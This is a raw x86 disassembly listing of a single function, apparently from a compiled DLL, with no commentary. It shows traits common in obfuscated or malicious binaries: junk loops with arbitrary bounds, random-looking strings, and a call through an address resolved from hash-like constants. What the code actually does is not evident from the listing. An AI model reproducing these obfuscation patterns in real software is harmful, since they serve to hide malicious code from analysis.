mov byte [ebp - 4], 0x42
cmp dword [ebp - 0x18], 0x9de
mov dword [ebp - 0x40], eax
jge 0x10022d93
mov edx, str.nrlxxpdm_pirw_ves_qch_sbihspcl_hczyzxm_abul_cmygx_juzodrnx
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10022d93
push 0x3d
pop esi
push ecx
lea eax, [ebp - 0x1bc]
mov dword [ebp - 4], esi
push eax
push 0x2cb4
lea edx, [ebp - 0x40]
mov cl, 1
call fcn.10020952
mov edi, dword [ebp - 0x40]
mov ecx, ebx
add esp, 0xc
mov dword [ebp - 0x198], edi
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x60], ecx
mov eax, dword [ebp - 0x184]
mov edx, dword [ebp - 0x1bc]
add edx, ecx
mov ecx, dword [eax]
lea eax, [ebp - 0x174]
push eax
mov eax, dword [ebp - 0x184]
push edi
push edx
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x10022ee6
push 0x1294
push 0xb8e
push 0x65c
push 0x5d1f
push ebx
push 0x113
lea eax, [ebp - 0x60]
mov edx, 0x5ffa
push eax
push 1
push 0x5795
push 1
lea ecx, [ebp - 0x174]
call fcn.1001f96d
mov dword [ebp - 0x20], 0x7279
add esp, 0x28
cmp dword [ebp - 0x20], 0x73fc
jle 0x10022e7a
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov eax, edi
mov ecx, 0x1007fdb8
cdq
idiv ebx
xor edx, esi
mov eax, edx
cdq
push edx
push eax
call fcn.1000e5de
inc ebx
cmp ebx, 0x1d47
jl 0x10022e43
inc edi
push 0
pop ebx
cmp edi, 0x7d5
jl 0x10022e40
inc esi
cmp esi, 0xf46
jl 0x10022e3e
push 0x3d
pop esi
lea eax, [ebp - 0x174]
push eax
push ecx
push 1
push ecx
lea ecx, [ebp - 0x198]
call fcn.1001f826
add esp, 0x10
mov byte [ebp - 4], 0x44
cmp dword [ebp - 0x20], 0x6fd5
jge 0x10022ed0
mov edx, str.fqvxa_zedbvyu_qkckol_ilbpmcws_zfvz_olj
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10022ed0
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp - 0x40]
jae 0x10022ee6
mov edi, dword [ebp - 0x198]
jmp 0x10022dc7
push 0x293e
lea eax, [ebp - 0x60]
mov ecx, 0x1e99
push eax
push 0x1b74
push 0x7dc9
push 1
push 0x49b3
push 0x6eb1
push 1
lea eax, [ebp - 0x40]
push eax
push 1
lea edx, [ebp - 0x1bc]
call fcn.1001f96d
add esp, 0x28
sub esp, 0xc
lea edx, [ebp - 0x184]
mov cl, 1
call fcn.100208a9
add esp, 0xc
push ecx
push 1
push ecx
push ecx
lea edx, [ebp - 0x3c]
call fcn.1002099e
add esp, 0x10
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x1e0]
call fcn.1000f5a8
lea ecx, [ebp - 0x224]
call fcn.1000f5a8
push ebx
push 1
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 0x36
call fcn.1000f26d
push 0xc139
push 0x85c9
call fcn.10035d0f
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x1f8]
lea eax, [ebp - 0x1bc]
push eax
call fcn.10023118
push ebx
push 1
lea ecx, [ebp - 0x304]
call fcn.1000f26d
push ebx
push 1
lea ecx, [ebp - 0x328]
call fcn.1000f26d
lea ecx, [ebp - 0x1b0]
call fcn.1001d199
lea ecx, [ebp - 0x1bc]
call fcn.1001d43e
lea ecx, [ebp + 8]
call fcn.1001d199
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret